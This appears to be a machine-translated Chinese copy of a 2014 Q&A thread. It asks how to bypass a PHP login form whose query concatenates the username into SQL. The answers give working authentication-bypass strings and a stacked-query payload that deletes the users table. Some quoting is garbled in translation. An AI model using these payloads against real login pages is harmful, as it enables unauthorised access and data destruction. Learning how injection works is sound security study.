sql注入可能是下面的PHP代码吗?

时间:2014-11-05 16:44:56

标签: php mysql sql-injection

$sql_checkpasswd = "SELECT user_id, username, user_password, user_active
FROM " . USERS_TABLE . "
WHERE username = '" . $username . "'" . " AND user_password = '" . md5($password). "'";

以上是我的PHP代码的编写方式。这是一个登录页面。

如何在不知道密码的情况下使用sql注入技术登录?

由于

我尝试了所有可能的组合 ' OR' 1 = 1'

' OR' 1 = 1' -

管理员&#39);#

和所有平常的一切。

其中一个查询出错:http://prntscr.com/53bmv8

P.s。:我花了很多时间研究这个问题并尝试了很多不同的方法,这就是我发布这个问题以获得一些帮助的原因。我是sql注入的新手。

3 个答案:

答案 0 :(得分:2)

我终于弄明白了,可能会帮助其他人有同样的问题:

在用户名字段中输入:

admin' AND 1=1 or '1'='1

以上用户名工作正常,我不必输入密码,因为查询变为

,可以将其留空
$username= admin' AND 1=1 OR '1'='1 AND $password = anything

即使在上述查询中满足一个条件,我也会获得访问权限,用户名部分为True,因为1=1 AND admin是现有用户名

答案 1 :(得分:0)

尝试以下输入:

' OR '1=1' LIMIT 1 -- 

包括--之后的空格,由于某种原因,这里没有出现。

答案 2 :(得分:0)

我复制一些希望你自己的例子

Java Original :“SELECT * FROM users_table WHERE username =”+“'”+ username +“'”+“AND password =”+“'”+ password +“'”; < / p>

插入密码:Aa'OR''='

Java结果:“SELECT * FROM users_table WHERE username ='anyname'AND password ='Aa'OR''='';

插入密码:foo'; DELETE FROM users_table WHERE username LIKE'%

Java结果:“SELECT * FROM users_table WHERE username ='anyname'AND password ='foo'; DELETE FROM users_table WHERE username LIKE'%'